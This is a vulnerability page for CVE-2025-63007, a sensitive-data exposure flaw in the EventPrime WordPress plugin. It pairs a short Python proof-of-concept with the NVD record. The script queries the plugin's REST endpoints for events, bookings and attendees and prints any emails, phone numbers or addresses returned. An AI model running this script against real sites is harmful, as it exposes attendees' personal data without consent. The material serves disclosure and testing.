CVE-2025-63007

# CVE-2025-63007 EventPrime Sensitive Information Disclosure PoC # Affected: EventPrime Plugin <= 4.2.4.1 # Type: Sensitive Data Exposure via API import requests import sys TARGET_URL = "https://example-wordpress-site.com" # Replace with target URL API_ENDPOINT = f"{TARGET_URL}/wp-json/eventprime/v1" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-63007""" # Step 1: Identify if EventPrime plugin is installed plugins_url = f"{TARGET_URL}/wp-json/wp/v2/plugins" headers = { "Content-Type": "application/json" } print("[*] Checking if EventPrime plugin is installed...") # Step 2: Attempt to retrieve sensitive event data via API # The vulnerability allows low-privileged users to access sensitive data sensitive_endpoints = [ "/events", "/bookings", "/attendees", "/event-data" ] for endpoint in sensitive_endpoints: url = f"{API_ENDPOINT}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) # Check if response contains sensitive information if response.status_code == 200: data = response.json() # Look for indicators of sensitive data exposure if any(key in str(data).lower() for key in ['email', 'phone', 'address', 'user_id', 'private']): print(f"[!] VULNERABLE: {url}") print(f"[+] Sensitive data found: {data}") return True except Exception as e: print(f"[-] Error accessing {url}: {e}") print("[*] No obvious vulnerability detected (may require authenticated testing)") return False def main(): if len(sys.argv) > 1: global TARGET_URL TARGET_URL = sys.argv[1] print("[*] CVE-2025-63007 PoC - EventPrime Sensitive Data Exposure") print(f"[*] Target: {TARGET_URL}") check_vulnerability() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-63007", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:05.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in Metagauss EventPrime eventprime-event-calendar-management allows Retrieve Embedded Sensitive Data.This issue affects EventPrime: from n/a through <= 4.2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/eventprime-event-calendar-management/vulnerability/wordpress-eventprime-plugin-4-2-4-1-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}